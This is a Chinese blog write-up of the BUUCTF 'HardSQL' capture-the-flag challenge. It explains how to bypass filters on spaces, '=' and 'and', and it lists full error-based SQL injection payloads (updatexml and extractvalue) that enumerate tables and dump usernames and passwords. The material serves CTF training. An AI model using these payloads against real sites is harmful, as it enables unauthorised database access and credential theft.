BUUCTF之[极客大挑战 2019]HardSQL ----报错注入extractvalue和updatexml

BUUCTF之[极客大挑战 2019]HardSQL ----报错注入extractvalue和updatexml

题目
在这里插入图片描述
经过手工测试可以发现过滤:and,/**/,空格,等于号(=),大于号(>)和联合查询union等多个关键词

一般来说,SQL注入有这4个步骤:

  1. 爆数据库:select database()
  2. 爆数据表:select group_concat(table_name) from information_schema.tables where table_schema=database()
  3. 爆数据列:select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘表名’
  4. 获取具体列信息:select group_concat(【查询到的列名】) from 【表名】

对照上面的4个步骤,用下面的几个对应的方法绕过:

  • 空格和/**/都被过滤,所以这里可以用括号()代替空格。
  • 等于号(=)被过滤,这里用模糊查询的like代替
  • 关键词and被过滤,这里需要把第三步的table_schema=database()给删去

所以SQL注入的4个基本步骤变成:

  1. 爆数据库:select(database())
  2. 爆数据表:select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())
  3. 爆数据列:select(group_concat(column_name))from(information_schema.columns)where(table_name)like(‘H4rDsq1’)
  4. 获取具体列信息:select(group_concat(username,"–",password))from(H4rDsq1)

然后再加上报错注入的基本模板:updatexml("~",concat("~",(【这里放查询语句】)),"~")
所以对应的4个payload为:

  1. 爆数据库:?username=1'or(updatexml("~",concat("~",(select(database()))),"~"))%23&password=123
  2. 爆数据表:?username=1'or(updatexml("~",concat("~",(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),"~"))%23&password=123
  3. 爆数据列:?username=1'or(updatexml("~",concat("~",(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),"~"))%23&password=123
  4. 获取具体列信息:?username=1'or(updatexml("~",concat("~",(select(group_concat(username,"--",password))from(H4rDsq1))),"~"))%23&password=123

爆数据库:?username=1'or(updatexml("~",concat("~",(select(database()))),"~"))%23&password=123
在这里插入图片描述
爆数据表:?username=1'or(updatexml("~",concat("~",(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),"~"))%23&password=123
在这里插入图片描述

爆数据列:?username=1'or(updatexml("~",concat("~",(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),"~"))%23&password=123
在这里插入图片描述

获取具体列信息:?username=1'or(updatexml("~",concat("~",(select(group_concat(username,"--",password))from(H4rDsq1))),"~"))%23&password=123
在这里插入图片描述
可以看到这里获取到了flag,但是获取到的flag是不完全的。这可能是因为后台用到了substr函数截取掉了一部分的flag信息。所以这里可以用left和right函数分别获取左右部分的flag!
如获取左边:?username=1'or(updatexml("~",concat("~",(select(group_concat(left(password,25)))from(H4rDsq1))),"~"))%23&password=123
在这里插入图片描述
获取右边:?username=1'or(updatexml("~",concat("~",(select(group_concat(right(password,25)))from(H4rDsq1))),"~"))%23&password=123
在这里插入图片描述
最后再把左右重叠的flag部分删去就可以了


另外,还有一种报错注入是用extractvalue这个函数。注意updatexml需要三个参数,而extractvalue只需要两个参数。所以:

  • updatexml 改成 extractvalue
  • 把updatexml的第三个参数 “~” 删去

所以extractvalue报错注入对应的4个payload为:

  1. 爆数据库:?username=1'or(extractvalue("~",concat("~",(select(database())))))%23&password=123
  2. 爆数据表:?username=1'or(extractvalue("~",concat("~",(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())))))%23&password=123
  3. 爆数据列:?username=1'or(extractvalue("~",concat("~",(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),"~"))%23&password=123
  4. 获取具体列信息:?username=1'or(extractvalue("~",concat("~",(select(group_concat(username,"--",password))from(H4rDsq1)))))%23&password=123

爆数据库:?username=1'or(extractvalue("~",concat("~",(select(database())))))%23&password=123
在这里插入图片描述

爆数据表:?username=1'or(extractvalue("~",concat("~",(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())))))%23&password=123
在这里插入图片描述

爆数据列:?username=1'or(extractvalue("~",concat("~",(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')))))%23&password=123
在这里插入图片描述

获取具体列信息:?username=1'or(extractvalue("~",concat("~",(select(group_concat(username,"--",password))from(H4rDsq1)))))%23&password=123
在这里插入图片描述

  • 3
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值